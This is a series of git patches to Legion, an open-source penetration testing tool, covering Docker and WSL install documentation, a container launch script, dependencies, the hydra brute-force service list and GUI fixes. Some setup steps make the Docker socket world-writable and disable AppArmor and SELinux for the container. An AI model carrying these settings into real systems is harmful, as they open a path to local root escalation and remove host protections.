docker image where possible! It's becoming very difficult to support all the various platforms and their own quirks * Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. Other dependencies should automatically be installed. Within Terminal: ``` @@ -48,15 +91,6 @@ cd legion sudo chmod +x startLegion.sh sudo ./startLegion.sh ``` -### DOCKER METHOD ------- -Assumes Docker and Xauthority are installed. Within Terminal: -``` -git clone https://github.com/GoVanguard/legion.git -cd legion/docker -sudo chmod +x runIt.sh -sudo ./runIt.sh -``` ## LICENSE Legion is licensed under the GNU General Public License v3.0. Take a look at the [LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. From c50dc963c9bc1709deab9cba649de5a6ac95a8ce Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 11:29:49 -0500 Subject: [PATCH 246/450] Update ignored --- README.md | 55 +++++++++++++++++++++++++++---------------------------- 1 file changed, 27 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index b850c783..a3f22561 100644 --- a/README.md +++ b/README.md @@ -45,34 +45,33 @@ Assumes Docker and Xauthority are installed. Linux with local X11: - Within Terminal: -``` -git clone https://github.com/GoVanguard/legion.git -cd legion/docker -sudo chmod +x runIt.sh -sudo ./runIt.sh -``` + ``` + git clone https://github.com/GoVanguard/legion.git + cd legion/docker + sudo chmod +x runIt.sh + sudo ./runIt.sh + ``` Linux with Remote X11: - Replace X.X.X.X with the IP of the remote running X11. - Within Terminal: -``` -git clone https://github.com/GoVanguard/legion.git -cd legion/docker -sudo chmod +x runIt.sh -sudo ./runIt.sh X.X.X.X -``` + ``` + git clone https://github.com/GoVanguard/legion.git + cd legion/docker + sudo chmod +x runIt.sh + sudo ./runIt.sh X.X.X.X + ``` Windows under WSL using Xming: - Replace X.X.X.X with the IP with which Xming has registered itself. - Right click Xming in system tray -> View log and see IP next to "XdmcpRegisterConnection: newAddress" - Within Terminal: -``` - -git clone https://github.com/GoVanguard/legion.git -cd legion/docker -sudo chmod +x runIt.sh -sudo ./runIt.sh X.X.X.X -``` + ``` + git clone https://github.com/GoVanguard/legion.git + cd legion/docker + sudo chmod +x runIt.sh + sudo ./runIt.sh X.X.X.X + ``` Windows using Xming without WSL: - Why? Don't do this. :) @@ -82,15 +81,15 @@ OSX using Glas: - Possible to setup using socat. See instructions here: https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ ### TRADITIONAL METHOD -* Please use the docker image where possible! It's becoming very difficult to support all the various platforms and their own quirks * -Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. -Other dependencies should automatically be installed. Within Terminal: -``` -git clone https://github.com/GoVanguard/legion.git -cd legion -sudo chmod +x startLegion.sh -sudo ./startLegion.sh -``` + - Please use the docker image where possible! It's becoming very difficult to support all the various platforms and their own quirks + - Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. + - Within Terminal: + ``` + git clone https://github.com/GoVanguard/legion.git + cd legion + sudo chmod +x startLegion.sh + sudo ./startLegion.sh + ``` ## LICENSE Legion is licensed under the GNU General Public License v3.0. Take a look at the [LICENSE](https://github.com/GoVanguard/legion/blob/master/LICENSE) for more information. From 9dbf192c0ef69fe13b9dde9e9461bb52ffc89cac Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 11:32:10 -0500 Subject: [PATCH 247/450] Update readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a3f22561..747929b7 100644 --- a/README.md +++ b/README.md @@ -76,7 +76,7 @@ Windows under WSL using Xming: Windows using Xming without WSL: - Why? Don't do this. :) -OSX using Glas: +OSX using XQuartz: - Not yet in runIt.sh script. - Possible to setup using socat. See instructions here: https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ From cc6b59ccf189d73123b274cb7da77598666c9a3e Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 11:46:00 -0500 Subject: [PATCH 248/450] Update req --- requirements.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 4fa4a205..69b6af6c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -18,4 +18,3 @@ pyExploitDb>=0.2.0 pyShodan GitPython pandas -pyShodan From 7d117d03e32f5cf22bbedd55caa2fe1c7f9622e5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 12:22:51 -0500 Subject: [PATCH 249/450] Update readme --- README.md | 57 ++++++++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 54 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 747929b7..973fa2b5 100644 --- a/README.md +++ b/README.md @@ -41,9 +41,9 @@ It is preferable to use the docker image over a traditional installation. This i ### DOCKER METHOD ------ -Assumes Docker and Xauthority are installed. Linux with local X11: + - Assumes Docker and X11 are installed and setup - Within Terminal: ``` git clone https://github.com/GoVanguard/legion.git @@ -53,6 +53,7 @@ Linux with local X11: ``` Linux with Remote X11: + - Assumes Docker and X11 are installed and setup - Replace X.X.X.X with the IP of the remote running X11. - Within Terminal: ``` @@ -62,7 +63,10 @@ Linux with Remote X11: sudo ./runIt.sh X.X.X.X ``` -Windows under WSL using Xming: +Windows under WSL using Xming and Docker Desktop: + - Assumes Xming is installed in Windows + - Assumes Docker Desktop is installed in Windows, Docker Desktop is running in Linux containers mode and Docker Desktop is connected to WSL + - See detailed instructions on setting this up below - Replace X.X.X.X with the IP with which Xming has registered itself. - Right click Xming in system tray -> View log and see IP next to "XdmcpRegisterConnection: newAddress" - Within Terminal: @@ -73,13 +77,60 @@ Windows under WSL using Xming: sudo ./runIt.sh X.X.X.X ``` -Windows using Xming without WSL: +Windows using Xming and Docker Desktop without WSL: - Why? Don't do this. :) OSX using XQuartz: - Not yet in runIt.sh script. - Possible to setup using socat. See instructions here: https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ +Setup Hyper-V, Docker Desktop, Xming and WSL: + - The order is important for port reservation reasons. If you have WSL, HyperV or Docker Desktop installed then please uninstall those features before proceeding. + - Cortana / Search -> cmd -> Right click -> Run as Administrator + - To reserve the docker port, under CMD, run: + ``` + netsh int ipv4 add excludedportrange protocol=tcp startport=2375 numberofports=1 + ``` + - This will likely fail if you have Hyper-V already enabled or Docker Desktop installed + - To install Hyper-V, under CMD, run: + ``` + dism.exe /Online /Enable-Feature:Microsoft-Hyper-V /All + ``` + - Reboot + - Cortana / Search -> cmd -> Right click -> Run as Administrator + - To install WSL, under CMD, run: + ``` + dism.exe /Online /Enable-Feature /FeatureName:Microsoft-Windows-Subsystem-Linux + ``` + - Reboot + - Download from https://hub.docker.com/editions/community/docker-ce-desktop-windows (Free account required) + - Run installer + - Optionally input your docker hub login + - Right click Docker Desktop in system tray -> Switch to Linux containers + - If it says Switch to Windows containers then skip this step, it's already using Linux containers + - Right click Docker Desktop in system tray -> Settings + - General -> Expose on localhost without TLS + - Download https://sourceforge.net/projects/xming/files/Xming/6.9.0.31/Xming-6-9-0-31-setup.exe/download + - Run installer and select multi window mode + - Open Microsoft Store + - Install Kali, Ubuntu or one of the other WSL Linux Distributions + - Open the distribution, let it bootstrap and fill in the user creation details + - To install docker components typically needed and add setup the environment for docker redirection, under the WSL window, run: + ``` + sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ + $(lsb_release -cs) stable" + sudo apt-get update + sudo apt-get install -y docker-ce python-pip -y + sudo apt autoremove + sudo usermod -aG docker $USER + pip install --user docker-compose + echo "export DOCKER_HOST=tcp://localhost:2375" >> ~/.bashrc && source ~/.bashrc + ``` + - Test docker is reachable with: + ``` + docker images + ``` + ### TRADITIONAL METHOD - Please use the docker image where possible! It's becoming very difficult to support all the various platforms and their own quirks - Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. From 7353c6f048a07cf34e20c8092c41471ba768a751 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 12:59:26 -0500 Subject: [PATCH 250/450] Minor tweak to runIt --- docker/runIt.sh | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/docker/runIt.sh b/docker/runIt.sh index fe0a5953..09ac0406 100644 --- a/docker/runIt.sh +++ b/docker/runIt.sh @@ -1,13 +1,10 @@ #!/bin/bash -if [[ -z $1 ]] +if [[ ! -z $1 ]] then - X11HOST=localhost -else - X11HOST=$1 + export DISPLAY=$1:0.0 fi -export DISPLAY=$X11HOST:0.0 docker pull gvit/legion XSOCK=/tmp/.X11-unix XAUTH=/tmp/.docker.xauth From b8072d96287da1505bcc44a185f1f905a396da6a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 13:39:05 -0500 Subject: [PATCH 251/450] Updated to disable apparmor --- README.md | 26 ++++++++++++++++++++------ docker/runIt.sh | 20 +++++++++++--------- 2 files changed, 31 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index 973fa2b5..50f0d68e 100644 --- a/README.md +++ b/README.md @@ -42,14 +42,14 @@ It is preferable to use the docker image over a traditional installation. This i ### DOCKER METHOD ------ -Linux with local X11: - - Assumes Docker and X11 are installed and setup +Linux with Local X11: + - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user) - Within Terminal: ``` git clone https://github.com/GoVanguard/legion.git cd legion/docker - sudo chmod +x runIt.sh - sudo ./runIt.sh + chmod +x runIt.sh + ./runIt.sh ``` Linux with Remote X11: @@ -59,8 +59,8 @@ Linux with Remote X11: ``` git clone https://github.com/GoVanguard/legion.git cd legion/docker - sudo chmod +x runIt.sh - sudo ./runIt.sh X.X.X.X + chmod +x runIt.sh + ./runIt.sh X.X.X.X ``` Windows under WSL using Xming and Docker Desktop: @@ -84,6 +84,20 @@ OSX using XQuartz: - Not yet in runIt.sh script. - Possible to setup using socat. See instructions here: https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ +Setup Docker on Linux: + - To install docker components typically needed and add setup the environment for docker, under a term, run: + ``` + sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ + $(lsb_release -cs) stable" + sudo apt-get update + sudo apt-get install -y docker-ce python-pip -y + - To enable non-root users to run docker commands, under a term, run: + ``` + sudo usermod -aG docker $USER + sudo chmod 666 /var/run/docker.sock + pip install --user docker-compose + ``` + Setup Hyper-V, Docker Desktop, Xming and WSL: - The order is important for port reservation reasons. If you have WSL, HyperV or Docker Desktop installed then please uninstall those features before proceeding. - Cortana / Search -> cmd -> Right click -> Run as Administrator diff --git a/docker/runIt.sh b/docker/runIt.sh index 09ac0406..4981d3c4 100644 --- a/docker/runIt.sh +++ b/docker/runIt.sh @@ -1,15 +1,17 @@ #!/bin/bash +docker pull gvit/legion + if [[ ! -z $1 ]] then export DISPLAY=$1:0.0 + XSOCK=/tmp/.X11-unix + XAUTH=/tmp/.docker.xauth + rm /tmp/.docker.xauth* -f + touch $XAUTH + xauth add $DISPLAY - `mcookie` + xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - + docker run -ti -v $XSOCK -v $XAUTH -e XAUTHORITY=$XAUTH -e DISPLAY=$DISPLAY gvit/legion +else + docker run -ti -e DISPLAY=$DISPLAY --net=host --security-opt=apparmor:unconfined gvit/legion fi - -docker pull gvit/legion -XSOCK=/tmp/.X11-unix -XAUTH=/tmp/.docker.xauth -rm /tmp/.docker.xauth* -f -touch $XAUTH -xauth add $DISPLAY - `mcookie` -xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - -docker run -ti -v $XSOCK -v $XAUTH -e XAUTHORITY=$XAUTH -e DISPLAY=$DISPLAY gvit/legion From af60f73cbc9c67d581730a18f5d75c8975016b25 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 13:46:56 -0500 Subject: [PATCH 252/450] Update readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 50f0d68e..7baf84cd 100644 --- a/README.md +++ b/README.md @@ -91,11 +91,11 @@ Setup Docker on Linux: $(lsb_release -cs) stable" sudo apt-get update sudo apt-get install -y docker-ce python-pip -y + pip install --user docker-compose - To enable non-root users to run docker commands, under a term, run: ``` sudo usermod -aG docker $USER sudo chmod 666 /var/run/docker.sock - pip install --user docker-compose ``` Setup Hyper-V, Docker Desktop, Xming and WSL: From 3a4a07ce2f52fba2610499a299d824df8c1f7d98 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 14:12:46 -0500 Subject: [PATCH 253/450] Update readme --- README.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 7baf84cd..ade59dec 100644 --- a/README.md +++ b/README.md @@ -87,10 +87,9 @@ OSX using XQuartz: Setup Docker on Linux: - To install docker components typically needed and add setup the environment for docker, under a term, run: ``` - sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu \ - $(lsb_release -cs) stable" sudo apt-get update - sudo apt-get install -y docker-ce python-pip -y + sudo apt-get install -y docker.io python-pip -y + sudo groupadd docker pip install --user docker-compose - To enable non-root users to run docker commands, under a term, run: ``` From 160d7d2a6c2d5d788cf331488b9fd4b6da8ae5c1 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 14:32:30 -0500 Subject: [PATCH 254/450] Updatred readme --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index ade59dec..f10dcc8c 100644 --- a/README.md +++ b/README.md @@ -44,6 +44,8 @@ It is preferable to use the docker image over a traditional installation. This i Linux with Local X11: - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user) + - See detailed instructions to setup running containers as non-root users and granting docker group ssh rights(#setup-docker-non-root) + - Within Terminal: ``` git clone https://github.com/GoVanguard/legion.git @@ -91,10 +93,14 @@ Setup Docker on Linux: sudo apt-get install -y docker.io python-pip -y sudo groupadd docker pip install --user docker-compose + +docker-setup-non-root +Setup Docker to allow non-root users: - To enable non-root users to run docker commands, under a term, run: ``` sudo usermod -aG docker $USER sudo chmod 666 /var/run/docker.sock + sudo xhost +local:docker ``` Setup Hyper-V, Docker Desktop, Xming and WSL: From 0f842de9ff73f062b749e59f0ba9aec34f8246ec Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 14:37:10 -0500 Subject: [PATCH 255/450] Updated readme --- README.md | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index f10dcc8c..1127874e 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,7 @@ It is preferable to use the docker image over a traditional installation. This i Linux with Local X11: - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user) - - See detailed instructions to setup running containers as non-root users and granting docker group ssh rights(#setup-docker-non-root) + - See detailed instructions to setup docker [here](#docker-setup) and enable running containers as non-root users and granting docker group ssh rights [here](#docker-setup-non-root) - Within Terminal: ``` @@ -68,7 +68,7 @@ Linux with Remote X11: Windows under WSL using Xming and Docker Desktop: - Assumes Xming is installed in Windows - Assumes Docker Desktop is installed in Windows, Docker Desktop is running in Linux containers mode and Docker Desktop is connected to WSL - - See detailed instructions on setting this up below + - See detailed instructions [here](#docker-setup-wsl) - Replace X.X.X.X with the IP with which Xming has registered itself. - Right click Xming in system tray -> View log and see IP next to "XdmcpRegisterConnection: newAddress" - Within Terminal: @@ -82,10 +82,13 @@ Windows under WSL using Xming and Docker Desktop: Windows using Xming and Docker Desktop without WSL: - Why? Don't do this. :) + OSX using XQuartz: - Not yet in runIt.sh script. - Possible to setup using socat. See instructions here: https://kartoza.com/en/blog/how-to-run-a-linux-gui-application-on-osx-using-docker/ + + Setup Docker on Linux: - To install docker components typically needed and add setup the environment for docker, under a term, run: ``` @@ -94,7 +97,8 @@ Setup Docker on Linux: sudo groupadd docker pip install --user docker-compose -docker-setup-non-root + + Setup Docker to allow non-root users: - To enable non-root users to run docker commands, under a term, run: ``` @@ -103,6 +107,7 @@ Setup Docker to allow non-root users: sudo xhost +local:docker ``` + Setup Hyper-V, Docker Desktop, Xming and WSL: - The order is important for port reservation reasons. If you have WSL, HyperV or Docker Desktop installed then please uninstall those features before proceeding. - Cortana / Search -> cmd -> Right click -> Run as Administrator From 49dea63f69bb719815252130350bb12082ec8d00 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Jun 2019 14:38:08 -0500 Subject: [PATCH 256/450] Updated readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 1127874e..c8952c6b 100644 --- a/README.md +++ b/README.md @@ -96,7 +96,7 @@ Setup Docker on Linux: sudo apt-get install -y docker.io python-pip -y sudo groupadd docker pip install --user docker-compose - + ``` Setup Docker to allow non-root users: From b88b9a5a302ef095f8397a063b1b3319fa64c485 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 6 Jun 2019 00:52:20 -0500 Subject: [PATCH 257/450] Update runIt docker script to disable selinux for the container allowing X access --- docker/runIt.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/runIt.sh b/docker/runIt.sh index 4981d3c4..56d7bf37 100644 --- a/docker/runIt.sh +++ b/docker/runIt.sh @@ -13,5 +13,5 @@ then xauth nlist $DISPLAY | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - docker run -ti -v $XSOCK -v $XAUTH -e XAUTHORITY=$XAUTH -e DISPLAY=$DISPLAY gvit/legion else - docker run -ti -e DISPLAY=$DISPLAY --net=host --security-opt=apparmor:unconfined gvit/legion + docker run -ti -e DISPLAY=$DISPLAY --net=host --security-opt=apparmor:unconfined --security-opt=label:disable gvit/legion fi From 5dc536efa01254d5f6ae8df15543095de729ddac Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Jun 2019 10:30:33 -0500 Subject: [PATCH 258/450] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index c8952c6b..1b43b801 100644 --- a/README.md +++ b/README.md @@ -39,11 +39,19 @@ Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-exten ## INSTALLATION It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. +## Supported Distributions +# Docker runIt script +runIt supports Ubuntu 18, Fedora 30, Parrot and Kali at this time. It is possible to run the docker image on any Linux distribution, however, different distributions have different hoops to jump through to get a docker app to be able to connect to the X server. Eveyone is welcome to try and figure those hoops out and create a PR for runIt. + +# Traditional Install +We can only promise correct operation on Ubuntu 18 using the traditional installation at this time. While it should work on ParrotOS, Kali and others, until we have Legion packaged and placed into the repos for each of these distros it's musical chairs with reguards to platform updates changing and breaking dependancies. + ### DOCKER METHOD ------ Linux with Local X11: - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user) + - It is crititcal to follow all the instructions for running as a non-root user. Skipping any of them will result in complications getting docker to communicate with the X server - See detailed instructions to setup docker [here](#docker-setup) and enable running containers as non-root users and granting docker group ssh rights [here](#docker-setup-non-root) - Within Terminal: From 116a436b11a0229a4cd96133750057552b439c26 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Jun 2019 10:31:23 -0500 Subject: [PATCH 259/450] Update README.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 1b43b801..f48f88a9 100644 --- a/README.md +++ b/README.md @@ -39,11 +39,11 @@ Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-exten ## INSTALLATION It is preferable to use the docker image over a traditional installation. This is because of all the dependancy requirements and the complications that occur in environments which differ from a clean, non-default installation. -## Supported Distributions -# Docker runIt script +### Supported Distributions +#### Docker runIt script runIt supports Ubuntu 18, Fedora 30, Parrot and Kali at this time. It is possible to run the docker image on any Linux distribution, however, different distributions have different hoops to jump through to get a docker app to be able to connect to the X server. Eveyone is welcome to try and figure those hoops out and create a PR for runIt. -# Traditional Install +#### Traditional Install We can only promise correct operation on Ubuntu 18 using the traditional installation at this time. While it should work on ParrotOS, Kali and others, until we have Legion packaged and placed into the repos for each of these distros it's musical chairs with reguards to platform updates changing and breaking dependancies. ### DOCKER METHOD From 16c4948dadf1a1bfa06f774da5b7a2f021fbf133 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Jun 2019 16:27:59 -0400 Subject: [PATCH 260/450] Made 'Add Hosts' window resizable --- ui/addHostDialog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index 9a5dba96..9059b994 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -36,7 +36,7 @@ def setupLayout(self): flags = Qt.Window | Qt.WindowSystemMenuHint | Qt.WindowMinimizeButtonHint | Qt.WindowMaximizeButtonHint | Qt.WindowCloseButtonHint self.setWindowFlags(flags) - self.setFixedSize(700, 700) + self.resize(700, 700) self.formLayout = QtWidgets.QVBoxLayout() From a79034525abba22ce76c9b06d6c745e61187fad2 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 12 Jun 2019 11:53:34 -0400 Subject: [PATCH 261/450] Fixing GUI on Brute window --- ui/dialogs.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 1117596e..014858b8 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -56,7 +56,7 @@ def setupLayoutHlayout(self): self.label1 = QtWidgets.QLabel() self.label1.setText('IP') - self.label1.setFixedWidth(10) # experimental + self.label1.setFixedWidth(20) # experimental self.label1.setAlignment(Qt.AlignLeft) self.ipTextinput = QtWidgets.QLineEdit() self.ipTextinput.setText(str(self.ip)) @@ -64,7 +64,7 @@ def setupLayoutHlayout(self): self.label2 = QtWidgets.QLabel() self.label2.setText('Port') - self.label2.setFixedWidth(10) # experimental + self.label2.setFixedWidth(30) # experimental self.label2.setAlignment(Qt.AlignLeft) self.portTextinput = QtWidgets.QLineEdit() self.portTextinput.setText(str(self.port)) @@ -72,7 +72,7 @@ def setupLayoutHlayout(self): self.label3 = QtWidgets.QLabel() self.label3.setText('Service') - self.label3.setFixedWidth(10) # experimental + self.label3.setFixedWidth(50) # experimental self.label3.setAlignment(Qt.AlignLeft) self.serviceComboBox = QtWidgets.QComboBox() self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) From b28f0242105805e2ea313c7241bdde47915fc861 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 12 Jun 2019 11:55:53 -0400 Subject: [PATCH 262/450] Fixed crash when sending to Brute --- ui/view.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/view.py b/ui/view.py index 25dfbd69..f467ffc0 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1440,7 +1440,7 @@ def restoreToolTabWidget(self, clear=False): #################### BRUTE TABS #################### def createNewBruteTab(self, ip, port, service): - self.ui.statusbar.showMessage('Sending to Brute: '+ip+':'+port+' ('+service+')', msecs=1000) + self.ui.statusbar.showMessage('Sending to Brute: '+str(ip)+':'+str(port)+' ('+str(service)+')', msecs=1000) bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) self.ui.BruteTabWidget.addTab(bWidget, str(self.bruteTabCount)) From 0dc46207414df522e7e7096f2ad6d5315c84e381 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 12 Jun 2019 14:51:23 -0400 Subject: [PATCH 263/450] Removing unusable hydra options --- legion.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/legion.conf b/legion.conf index 03972b5d..5b055f98 100644 --- a/legion.conf +++ b/legion.conf @@ -4,7 +4,7 @@ default-username=root no-password-services="oracle-sid,rsh,smtp-enum" no-username-services="cisco,cisco-enable,oracle-listener,s7-300,snmp,vnc" password-wordlist-path=/usr/share/wordlists/ -services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-get-form,http-post-form,https-get-form,https-post-form,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" +services="asterisk,afp,cisco,cisco-enable,cvs,firebird,ftp,ftps,http-head,http-get,https-head,https-get,http-proxy,http-proxy-urlenum,icq,imap,imaps,irc,ldap2,ldap2s,ldap3,ldap3s,ldap3-crammd5,ldap3-crammd5s,ldap3-digestmd5,ldap3-digestmd5s,mssql,mysql,ncp,nntp,oracle-listener,oracle-sid,pcanywhere,pcnfs,pop3,pop3s,postgres,rdp,rexec,rlogin,rsh,s7-300,sip,smb,smtp,smtps,smtp-enum,snmp,socks5,ssh,sshkey,svn,teamspeak,telnet,telnets,vmauthd,vnc,xmpp" store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ From 9e261caca50d3c188c0e8b7905c4fd23ca6b69e4 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 13 Jun 2019 00:32:23 -0500 Subject: [PATCH 264/450] Fix cut off labels on brute tab --- controller/controller.py | 4 ++-- debian/control | 29 +++++++++++++++++++++++++---- ui/dialogs.py | 9 ++++++--- 3 files changed, 33 insertions(+), 9 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index 1bbb29c8..f6551c29 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,13 +28,13 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1559604733' + self.build = '1560403928' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] self.emails = [] - self.update = '06/03/2019' + self.update = '06/13/2019' self.license = "GPL v3" self.desc = "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \nsuper-extensible and semi-automated network penetration testing tool that aids in discovery, \nreconnaissance and exploitation of information systems." diff --git a/debian/control b/debian/control index e4dc6e49..9f1c0871 100644 --- a/debian/control +++ b/debian/control @@ -13,13 +13,34 @@ Depends: ${misc:Depends}, python3, python3-pyqt5, nmap, + finger, hydra, - cutycapt, + nikto, + nbtscan, + nfs-common, + rpcbind, + smbclient, + sra-toolkit ldap-utils, + sslscan, rwho, rsh-client, x11-apps, - finger, + cutycapt, + leafpad, + xvfb, + imagemagick, + eog, + hping3, + sqlmap, + wapiti, + libqt5core5a, + python-pip, + ruby, + perl, + urlscan, + git, xsltproc, - nikto -Description: Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible and semi-automated network penetration testing framework that aids in discovery, reconnaissance and exploitation of information systems. + python-impacket, + whatweb, + medusa diff --git a/ui/dialogs.py b/ui/dialogs.py index 5149392b..9f4199ec 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -56,24 +56,27 @@ def setupLayoutHlayout(self): self.label1 = QtWidgets.QLabel() self.label1.setText('IP') - self.label1.setFixedWidth(10) # experimental + #self.label1.setFixedWidth(10) # experimental self.label1.setAlignment(Qt.AlignLeft) + self.label1.setAlignment(Qt.AlignVCenter) self.ipTextinput = QtWidgets.QLineEdit() self.ipTextinput.setText(str(self.ip)) self.ipTextinput.setFixedWidth(125) self.label2 = QtWidgets.QLabel() self.label2.setText('Port') - self.label2.setFixedWidth(10) # experimental + #self.label2.setFixedWidth(10) # experimental self.label2.setAlignment(Qt.AlignLeft) + self.label2.setAlignment(Qt.AlignVCenter) self.portTextinput = QtWidgets.QLineEdit() self.portTextinput.setText(str(self.port)) self.portTextinput.setFixedWidth(60) self.label3 = QtWidgets.QLabel() self.label3.setText('Service') - self.label3.setFixedWidth(10) # experimental + #self.label3.setFixedWidth(10) # experimental self.label3.setAlignment(Qt.AlignLeft) + self.label3.setAlignment(Qt.AlignVCenter) self.serviceComboBox = QtWidgets.QComboBox() self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); From e2d11c5cab0c63e2b3dd05a530deed66be118d6a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 13 Jun 2019 00:52:35 -0500 Subject: [PATCH 265/450] Fix handeling if file selector dialog tuple --- controller/controller.py | 2 +- ui/dialogs.py | 41 ++++++++++++++-------------------------- 2 files changed, 15 insertions(+), 28 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index f6551c29..c79c3da1 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.5' - self.build = '1560403928' + self.build = '1560405090' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/ui/dialogs.py b/ui/dialogs.py index 9f4199ec..05853486 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -56,7 +56,6 @@ def setupLayoutHlayout(self): self.label1 = QtWidgets.QLabel() self.label1.setText('IP') - #self.label1.setFixedWidth(10) # experimental self.label1.setAlignment(Qt.AlignLeft) self.label1.setAlignment(Qt.AlignVCenter) self.ipTextinput = QtWidgets.QLineEdit() @@ -65,7 +64,6 @@ def setupLayoutHlayout(self): self.label2 